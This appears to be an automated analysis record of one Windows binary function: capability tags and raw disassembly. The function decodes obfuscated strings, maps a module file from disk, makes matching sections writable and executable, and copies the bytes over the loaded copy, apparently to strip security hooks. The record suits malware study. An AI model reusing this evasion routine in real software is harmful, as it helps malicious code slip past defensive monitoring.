Function at 0x402777
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x24]
push ebx
sub esp, 0x6c
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, 3
mov dword [ebp - 0x3c], eax
xor eax, eax
rep stosd dword es:[edi], eax
mov dword [esp], 0x4db844
call fcn.00419690
mov dword [esp], 0x4db834
mov ebx, eax
call fcn.00419690
cmp byte [ebx], 0
mov edx, eax
jne 0x4027d4
xor eax, eax
mov esi, 0x537712
mov ecx, 0xa
mov dword [edx], eax
mov dword [edx + 4], eax
mov dword [edx + 8], eax
lea eax, [edx + 0xa]
mov edi, eax
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x40282b
lea ecx, [edx + 0xa]
mov esi, 0xffffff90
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x4027f1
inc eax
jmp 0x40281d
lea edi, [eax + 2]
cmp ebx, edi
jne 0x4027fd
add eax, 2
jmp 0x40281d
cmp ebx, eax
jne 0x402807
mov eax, esi
xor byte [ecx], al
jmp 0x402823
lea edi, [eax + 4]
cmp ebx, edi
jne 0x402813
add eax, 3
jmp 0x40281d
lea edi, [eax + 5]
cmp ebx, edi
jne 0x402823
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x4027e2
inc esi
inc ecx
mov eax, esi
cmp al, 0x9a
jne 0x4027e2
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push edi
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x24]
mov dword [esp + 0xc], 0xc
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x40]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call sub.PSAPI.DLL_GetModuleInformation
mov eax, dword [ebp - 0x24]
sub esp, 0x10
mov dword [ebp - 0x2c], eax
mov dword [esp], 0x4db864
call fcn.00419690
mov dword [esp], 0x4db854
mov ebx, eax
call fcn.00419690
cmp byte [ebx], 0
mov edx, eax
jne 0x4028a9
xor esi, esi
lea eax, [eax + 0xa]
mov ecx, 0x1e
mov dword [eax - 0xa], esi
mov dword [eax - 6], esi
mov dword [eax - 2], esi
mov esi, 0x5376ea
mov edi, eax
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x402900
lea ecx, [edx + 0xa]
mov esi, 0xffffff90
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x4028c6
inc eax
jmp 0x4028f2
lea edi, [eax + 2]
cmp ebx, edi
jne 0x4028d2
add eax, 2
jmp 0x4028f2
cmp ebx, eax
jne 0x4028dc
mov eax, esi
xor byte [ecx], al
jmp 0x4028f8
lea edi, [eax + 4]
cmp ebx, edi
jne 0x4028e8
add eax, 3
jmp 0x4028f2
lea edi, [eax + 5]
cmp ebx, edi
jne 0x4028f8
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x4028b7
inc esi
inc ecx
mov eax, esi
cmp al, 0xae
jne 0x4028b7
xor eax, eax
mov byte [edx + 9], 1
add edx, 0xa
xor ebx, ebx
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], eax
xor eax, eax
mov dword [esp], edx
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
call dword [sym.imp.KERNEL32.dll_CreateFileA]
xor edx, edx
xor ecx, ecx
sub esp, 0x1c
mov dword [ebp - 0x44], eax
mov dword [esp + 4], ecx
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x1000002
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
sub esp, 0x18
mov dword [ebp - 0x48], eax
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], ebx
mov dword [esp + 4], 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, dword [ebp - 0x2c]
sub esp, 0x14
mov dword [ebp - 0x4c], eax
mov eax, dword [ecx + 0x3c]
mov word [ebp - 0x32], 0
add eax, ecx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov si, word [ebp - 0x32]
cmp si, word [eax + 6]
jae 0x402ae8
mov eax, dword [ebp - 0x30]
mov ebx, dword [ebp - 0x30]
movzx eax, word [eax + 0x14]
lea edx, [ebx + eax + 0x18]
movzx eax, word [ebp - 0x32]
mov dword [esp], 0x4db884
imul eax, eax, 0x28
lea ebx, [edx + eax]
call fcn.00419690
mov dword [esp], 0x4db874
mov esi, eax
call fcn.00419690
cmp byte [esi], 0
mov edx, eax
jne 0x402a03
xor edi, edi
mov word [eax + 0xe], 0x95e0
mov dword [eax + 8], edi
mov dword [eax], edi
mov dword [eax + 4], edi
mov dword [eax + 0xa], 0xebf7e5be
mov byte [esi], 1
cmp byte [edx + 9], 0
jne 0x402a5c
mov byte [ebp - 0x38], 0x90
lea ecx, [edx + 0xa]
mov eax, dword [edx + 4]
mov edi, dword [edx]
lea esi, [eax + 1]
cmp edi, esi
jne 0x402a1f
inc eax
jmp 0x402a4c
lea esi, [eax + 2]
cmp edi, esi
jne 0x402a2b
add eax, 2
jmp 0x402a4c
cmp edi, eax
jne 0x402a36
mov al, byte [ebp - 0x38]
xor byte [ecx], al
jmp 0x402a52
lea esi, [eax + 4]
cmp edi, esi
jne 0x402a42
add eax, 3
jmp 0x402a4c
lea esi, [eax + 5]
cmp edi, esi
jne 0x402a52
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x402a10
inc byte [ebp - 0x38]
inc ecx
cmp byte [ebp - 0x38], 0x96
jne 0x402a10
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp + 4], edx
mov dword [esp], ebx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x402adf
xor esi, esi
lea eax, [ebp - 0x28]
mov edx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0x28], esi
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x2c]
add eax, dword [ebx + 0xc]
mov dword [esp], eax
mov dword [ebp - 0x38], edx
call edx
mov esi, dword [ebx + 0xc]
mov eax, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x4c]
mov ecx, dword [ebx + 8]
sub esp, 0x10
add eax, esi
add esi, edi
mov edi, eax
lea eax, [ebp - 0x28]
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 8], eax
mov eax, dword [ebx + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x2c]
add eax, dword [ebx + 0xc]
mov dword [esp], eax
mov edx, dword [ebp - 0x38]
call edx
sub esp, 0x10
inc word [ebp - 0x32]
jmp 0x40299f
mov eax, dword [ebp - 0x3c]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp], eax
call ebx
push eax
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call ebx
push edx
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
call ebx
push ecx
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push ebx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret